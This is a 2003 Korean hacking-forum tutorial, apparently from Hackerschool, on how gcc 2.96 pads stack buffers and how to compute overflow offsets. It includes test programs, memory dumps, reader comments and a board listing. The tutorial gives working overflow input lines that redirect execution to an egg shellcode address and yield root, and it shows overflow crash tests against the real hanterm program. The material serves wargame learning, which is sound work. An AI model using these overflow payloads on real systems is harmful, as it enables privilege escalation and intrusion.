1579, 1/79 회원가입  로그인  
   ttongfly
   http://ttongfly.realskulls.org
   원재아빠님의 gcc 2.96에서의 버퍼 구조 강좌.

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=68 [복사]


제가 아래 올린 문서들의 대부분은 gcc 컴파일러 버젼 2.95 이하의
환경에 적용되도록 작성된 강좌입니다. 따라서 만약 여러분이 gcc 2.96
이상의 버젼이 설치된 환경에서 버퍼 오버플로우를 습하시려면 실제
문서 내용과 차이가 나는 부분이 생길겁니다.
그에 따른 해결 방법에 대해선 아래 문서를 보시면 알 수 있을거구요.
추천하는 학습 방법은 gcc 2.95 이하 버젼의 환경에서 버퍼 오버플로우를
학습하신 후 그 다음 gcc 2.96 이상의 버젼에서의 적용 방법을 익히는
것입니다. 참고로 F.T.Z은 gcc 2.95 이하의 버젼을 사용하고 있으므로
변경된 버퍼 구조에 구애받지 않고 학습하실 수 있구요. 집이나 다른 서버에서
학습하시려면 다음과 같은 과정을 거치시면 예전 버젼의 gcc를 사용하실 수
있습니다.

1. 내 서버의 gcc 버젼 확인.
    [root@hancom root]# gcc -v
    Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
    gcc version 2.96 20000731 (HancomLinux 2.2 2.96-99hl)
    [root@hancom root]#
    --> 2.96 이상이군요.

2. 어떤 패키지에 gcc 프로그램이 포함되어 있는지를 확인.
    [root@hancom root]# rpm -qf /usr/bin/gcc
    gcc-2.96-99hl
    [root@hancom root]#
    --> 이 패키지를 제거하면 gcc도 사라지겠죠?

3. 해당 패키지 삭제.
    [root@hancom root]# rpm -e gcc-2.96-99hl --nodeps
    [root@hancom root]#

4. 이전 버젼의 gcc 설치( 이전 버젼의 gcc는 egcs 패키지에 포함되어 있음. )

   [다운로드] <- egcs-1.1.2 패키지

   <설치>
    [root@hancom egc]# rpm -ivh egcs-1.1.2-30.i386.rpm --nodeps --force
    Preparing...            ########################################### [100%]
    1:egcs                   ########################################### [100%]
    [root@hancom egc]#

5. 확인
    [root@hancom egc]# gcc -v
    Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
    gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
    [root@hancom egc]#  
    --> 오예 2.91이 되었네요.
  
6. 다시 예전 버젼의 gcc를 복구시키려면 반대로 egcs를 언인스톨한 후  
   gcc-2.96.99hl을 설치하면 되겠죠?
   [root@hancom egc]# rpm -e egcs-1.1.2-30 --nodeps
   [root@hancom egc]# mount /dev/cdrom
   [root@mongii /root]# rpm -ivh /mnt/cdrom/RedHat/RPMS/gcc-2.96-99hl.i386.rpm
   gcc                         ##################################################
   [root@hancom root]# gcc -v
   Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
   gcc version 2.96 20000731 (HancomLinux 2.2 2.96-99hl)
   [root@hancom root]#

* 웁스. 한가지 잊고 있었던게 있네요. 이전 버젼의 gcc를 설치하지 않고도
  이전 버젼의 버퍼 구조로 컴파일하는 옵션이 따로 있습니다.
  ex) gcc -o test test.c -mpreferred-stack-boundary=2
  위의 옵션을 사용하면 2.96 버젼 이상의 gcc에서도 2.95이하의 버퍼
  모양으로 컴파일 할 수 있습니다. 테스트 혹은 공개 해킹 서버를 만드시거나
  매번 옵션을 사용하는 것이 불편하실 때 먼저 설명드린 방법을 이용하세요.


---------------------------------------------------------------------------

GCC 버젼 2.96에서 buf구조                                      -. hackerleon in Null@Root

레드헷 7.0 이상버젼에서는 gcc2.96을 체용하고있다.
gcc2.96로 컴파일된 프로그램의경우 버퍼구조가 변형되는것을 볼수 있는데..
이번 글에서는 gcc2.96에서의 버퍼구조를 파확해보고져 한다.

얼마전 제 홈페이지에서 프레임 포인터에 관한 사항중 gcc버전 2.96에서 문제점에 관한 연구글을 NaNu9님 올려주신적이 있었다^^감사!!..그 연구 결과를 토데로 기존의 취약프로그램에 적용시 어떠한 형태로 적용되며, gcc 2.96에서 메모리 구조는 어떠한가를 알아보고 BOF나 FSB에 적용할수 있는 방법을 알아보고자 한다.
우선 http://hackerleon.cybersoldier.net 의 Q&A란의 470번 글을 참조하여 기본 전제로 한다

다음의 동일한 소스를 각각 gcc 2.91과 2.96에서 컴파일해 보도록 하자.


//test1.c
#include "dumpcode.h"
#include

main()
{ char buf2[12];
char buf[20];
fgets(buf,128,stdin);
printf("buf1:%x , buf2:%x, %d\n",buf,buf2,buf2-buf);
dumpcode((char*)buf,64);
}

test1을 통해 gcc 2.96과 gcc 2.91로 각각 컴파일된 프로그램의 메모리 구조를 보려고 한다.
우선 gcc 2.91에서의 결과이다.

$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
$ gcc test1.c -o test1
$./test1
a
buf1:bffffa98 , buf2:bffffaac, 20
0xbffffa98  61 0a 00 40 34 97 04 08 60 ae 00 40 04 fb ff bf   a..@4...`..@....
0xbffffaa8  b8 fa ff bf 4b 84 04 08 20 97 04 08 34 97 04 08   ....K... ...4...
0xbffffab8  d8 fa ff bf cb 29 03 40 01 00 00 00 04 fb ff bf   .....).@........
0xbffffac8  0c fb ff bf 68 38 01 40 01 00 00 00 b0 83 04 08   ....h8.@........


위의 결과는 우리가 아주 많이봐왔구..당연한 결과 이다..도식적으로 보면

[buf(20)][buf2(12)][ebp(4)][ret]

아주 dump를 안해봐도 간단하게 유추가 가능 하다.

그럼 이번에는 gcc 2.96에서의 결과이다.

$gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81)
$gcc test1.c -o test1
$./test1
a
buf1:bfffefa0 , buf2:bfffefc0, 32
0xbfffefa0  61 0a 00 40 a8 ca 13 40 44 f0 ff bf ce 6b 12 40   a..@...@D....k.@
0xbfffefb0  e8 ef ff bf 20 d0 00 40 50 83 04 08 a8 ca 13 40   .... ..@P......@
0xbfffefc0  44 f0 ff bf 44 63 01 40 e8 ef ff bf d1 84 04 08   D...Dc.@........
0xbfffefd0  18 98 04 08 fc 98 04 08 18 f0 ff bf fc bb 03 40   ...............@

이번의 결과는 아주 이상스럽다. buf에서 buf2까지의 거리가 32byte로 나왔구..
메모리구조를 보아도 아주 이상스러운 배열을 하고 있다..도식적으로 보며

[buf(20)][dummy1(12)][buf2(12)][dummy2(4)][dummy3(8)][ebp(4)][ret]

메모리 사이사이 마다 dummy(-임의로 명함-)들이 들어가는 것을 볼수 있다..

이렇듯 gcc 2.96에서는 메모리의 구조를 파확하기 어렵게 되어있는데...
심심한 여름저녁 할일도 없고 해서 약간의 노가다를 해본결과 재미있는 규칙성을 알아내게 되었다.

test1에 buf와 buf2의 크기를 변경해가며 buf에서 buf2까지의 거리를 계산해 보았다.

[http://hackerleon.cybersoldier.net/images/gcc296.jpg]

- 표1참조 -

표1에서 보면.. (정말 할일 없었나보다^^)
buf의 크기가 16의 배수로 나가고 첫16배수 이후부터 다음 16배수 까지는 buf2가 12byte이상일경우 다음16배수 값이 거리로 나오는것을 볼수 있다..
즉...test1에서 보면..buf 가 20바이트이므로 16 < buf <= 32 범위에 있고 따라서 buf2와의 거리는 "32" 인것이다.

그럼 임의로 buf값을 정하고 buf2까지의 거리를 계산해보자..
buf=200
buf2=12
에서 16x12=192, 16x13=208 이므로 192 < buf <= 208 범위에 있다 따라서 위의 아이디어가 맞다면 거리는 208이 나와야 할것이다.

음...이아이디어가 맞는지 buf의 크기를 변경하여 시행하여보자

//test2.c
#include

main()
{ char buf2[12];
char buf[200];
fgets(buf,224,stdin);
printf("buf1:%x , buf2:%x, %d\n",buf,buf2,buf2-buf);
}

$gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81)
$gcc test2.c -o test2
$./test2
a
buf1:bfffeef0 , buf2:bfffefc0, 208

역시 아이디어가 맞았다...

그럼 우린 gcc 2.96에서도 소스에서 변수입력제한이 없다면 취약프로그램의 메모리구조를 유추하여 공략을 할수 있겠다...^^

담은 buf2에서 ret까지의 모양을 보도록 하자..

test1에서의 결과

[buf(20)][dummy1(12)][buf2(12)][dummy2(4)][dummy3(8)][ebp(4)][ret]

이렇게 생겨먹은 것을 보았다..앞서 buf에서 buf2사이의 dummy의 길이는 알아보았고...buf2에서 ret까지의 거리에 대해서도 알아보자...

역시 마챤가지인듯 하다..^^

test3를 보자

//test3.c

main()
{ char buf[20];
fgets(buf,64,stdin);
dumpcode((char*)buf,64);
}

$./test3
a
0xbfffefb0  61 0a 00 bf 20 d0 00 40 50 83 04 08 a8 ca 13 40   a... ..@P......@
0xbfffefc0  44 f0 ff bf 44 63 01 40 e8 ef ff bf d1 84 04 08   D...Dc.@........
0xbfffefd0  d0 97 04 08 b4 98 04 08 18 f0 ff bf fc bb 03 40   ...............@
0xbfffefe0  01 00 00 00 44 f0 ff bf 4c f0 ff bf 66 83 04 08   ....D...L...f...

여기서 gdb로 ret를 알아본결과 ret값이 0x4003bbfc 로 나왔다 따라서
ret는 0xbfffefdc 이다.
여기서도 앞서 계산한것과 같이 buf2의 크기가 16의 배수의 범위에서 최대값을 기준으로 dummy가 생성된다는것을 알수 있다..

buf가 20 이므로 16 < buf <= 32 범위에 있고 따라서 buf에서 dummy3까지의 거리는 32인것이다.

정리해보면

[buf(20) ----> 32(20+12)][dummy3(8)][ebp(4)][ret]

으하하...ret까지의 거리도 계산하여 유추가 가능 하다...


그럼 실전 BOF문제를 gcc 2.96에서 컴파일 해보고 우리가 생각한 것이 맞는가를 확인해보도록 하자.

//test4.c
#include

void printit() {
printf("Hello there!\n");
}

main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,50,stdin);
setreuid(0,0);
call();
}

어서 많이 보든 소스이다^^(mainsourece newbie13번 문제)

gcc 2.96에서면 buf(20)뒤에 printit을 call하는 주소가 나오므로..egg를 띄우고 [20][egg] 를 입력하면 바로 shell을 획득 할수 있엇을 것이다...
그럼 gcc 2.96으로 컴팔된 넘은 어떻게 할까...위에서 공부 한데로..

우선 buf의 크기가 20 이므로 16 < buf <=32 범위이다 따라서 buf에서 dummy3까지의 거리는 32 이다..
dummy3의 크기는 위에서 보았듯이 8byte 이므로 printit 을 call하는 주소까지의 거리는 32+8 = 40 바이트 인셈이다.

따라서 공격 방법은 [40][egg]가 되겠다.. 맞나 살펴보도록 하자.

egg:0xbffffa78

$(printf "AAAA...(40)\x78\xfa\xff\xbf";cat)\./test4

id
uid=500(leon) gid=(500)leon euid=0(root)

된다...

그럼 이번에는 리턴어드레스를 변조하는 문제를 풀어보자.

//test5.c
#include
main()
{
       char buf[20];
       printf("name :");
       fgets(buf,50,stdin);
       printf("Hi %s",buf);
}
마챦가지로 2.91에서는 egg를 띄운후 [20][ebp][ret]이므로...
공격은 [24][&egg] 하면될것이다. 그러나 2.96에선 위에서와 같이 적용할경우.
buf가 20바이트이므로 16 < buf < 32 따라서 buf에서 dummy3까지의 거리는 32바이트이고 dummy3는 8바이트 sfp 4바이트 결과..

[20[12][8][4] => [44바이트][egg] 로 공격을 해야 할것이다.그럼..

egg:0xbffffa78

$(printf "AAAA...(44)\x78\xfa\xff\xbf";cat)\./test4

id
uid=500(leon) gid=(500)leon euid=0(root)

또 된다^^.

그럼 이번에는 내친김에 상요프로그램의 오류대명사 "hanterm"에 적용해보자.

일단 gcc 2.91에서는

$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
$hanterm -fn `perl -e "print 'a'x88"`
can't load english font aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~중략~aaaaaaa
세그멘테이션 오류

88바이트에서 세그오류가 났으며 즉, [84][fsb][ret] 임을 유추하여 공격할수 있다.

그럼 2.96에서는...어떻게 될까.. 버퍼를 유추해보자..
일단 -fn옵션의 변수(임의로 'buf'라하자)크기가 84바이트이므로..

16x5=80 < buf < 16x6=96

따라서, buf에서 dummy3까지의 거리는 96바이트이다.그러므로

[96][8][4][ret] 라는 계산이 나온다.. 즉, 108에서 최초 세그오류가 나야할것이다. 그럼 정말 그런지..

$gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81)

$hanterm -fn `perl -e "print 'a'x107"`
can't load english font aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~중략~aaaaaaaaaaaaaaaa

$hanterm -fn `perl -e "print 'a'x108"`
can't load english font aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~중략~aaaaaaaaaaaaaaaaa
세그멘테이션 오류

예상햇던 데로군요...^^
따라서 2.96하의 hanterm역시 공격할수가 있겟습니다.


몇가지 예제를 통해서 우리는 gcc 2.96에서도 메모리의 상대적 위치를 유추 할수 있게 되었다...

그러나 여기서..

아주 중요한 점 하나가 잇다..

즉, fgets의 입력한도를 작게 잡으면 오버를 할수 없다는 점이다.

따라서 gcc 2.96에서는 다음과 같이 정리할수 있다.

1. 변수1과 변수2 간거리는 변수1이 16의 배수중 최대값 만큼 이다.(단, 변수2가 12바이트 이상일경우)

2. 변수정의가 끝나는 곳은 dummy3(8byte)가 할당된다.

3. 변수 입력범위를 변수가 속하는 16배수 최대값 이하로 할경우 BOF로인한 버그는 일어나지 않는다.


어수선 하게 gcc2.96에서의 취약 프로그램의 적용을 알아보았다..

gcc 2.96에서 컴파일된 FSB의 ret값 계산이나..BOF ret찾기등에 유용할것 같구 좀더 많은 연구가 이루어 지면 좋겠다...

  Hit : 10719     Date : 2003/09/19 11:46
[불법/스팸글로 신고하기]



    
Farcen 아... 어렵네요... dumpcode.h 먼저 이해를 해야할듯 2003/09/21  
wonjae190 원재아빠....,ㅡ.ㅡ 아빠! 2003/10/15  
allnude hanterm -fn 'perl -e "print 'a'x88"' 입력하면 윗글대로 안나오고 can't load english font perl -e "print ax88" 이렇게 2003/12/03  
allnude 나옵니다. 왜 그런가요? 현재 와우리눅스7.3이고 gcc는 2.95.4입니다. 2.91하고 똑같은 결과가 나옵니다. 2003/12/03  
allnude 물론 egg는 실행했구요.. (이곳 47번) 2003/12/03  
tinlove21 정말 잘읽었습니다. 고마워요 ㅋ 좋은정보입니다 도움 많이 되었어요^^ 2005/01/11  
kim0237 흐음... 리눅스 맘에 정말 들어 ㅡ.ㅜ 2006/06/19  
cjy9306 윽 아무리봐도 나는 모르것네.. 2010/01/07  
chlckdghsla 모르것다...ㅠㅠ어디서부터다시공부를해야하지 2012/09/21  
     [공지] 강좌를 올리실 때는 말머리를 달아주세요^ㅡ^ [29] 멍멍 02/27 16137
1578   towelroot.c (zip) 코멘팅.[1]     scube
08/18 1404
1577   levitator.c (안드로이드 루팅) 공격 분석 소스 코드 공유.[2]     scube
08/17 1428
1576   무료 정보보안 기술인재 양성 과정 교육생 모집     chanjung111
06/17 1934
1575   K-Shield 주니어 5기 모집     lrtk
06/17 1752
1574   [팁] 파이썬 2소스를 3으로 변경해주는 사이트[3]     한승재
05/13 1651
1573   구글 백링크 작업 질문요     wkatnxka
03/30 1448
1572   [팁] 우분투 미러링서버     한승재
03/09 1689
1571   [자작글] php로 상대방 IP 알아내기 [2]     한승재
02/27 2478
1570 비밀글입니다  감을못잡겠네요ㅜㅜ     잉잉잉
01/15 1
1569   데비안 계열 리눅스 의존성 깨졌을때 해결법     한승재
11/27 1898
1568   해킹길라잡이     한승재
11/02 2683
1567   홍보합니다. 신생 보안커뮤니티입니다.     kimwoojin0952
10/26 2184
1566   신기한 프로그래밍 언어[2]     koreal33t
09/06 2402
1565   윈도우,리눅스에서 내 ip를 확인해 보자 [1]     koreal33t
09/06 1886
1564   CTF 사이트[1]     koreal33t
09/06 2175
1563   자격증 (문제)사이트 [1]     koreal33t
09/06 2083
1562   [퍼온글]리눅스 기본 명령어     한승재
06/06 2669
1561   [동강][퍼온글]C언어로 Hellow world를 출력해보자![1]     한승재
05/23 2242
1560   [동강][퍼온글]가상머신에 우분투를 깔아보자     한승재
05/18 2033
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2021 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com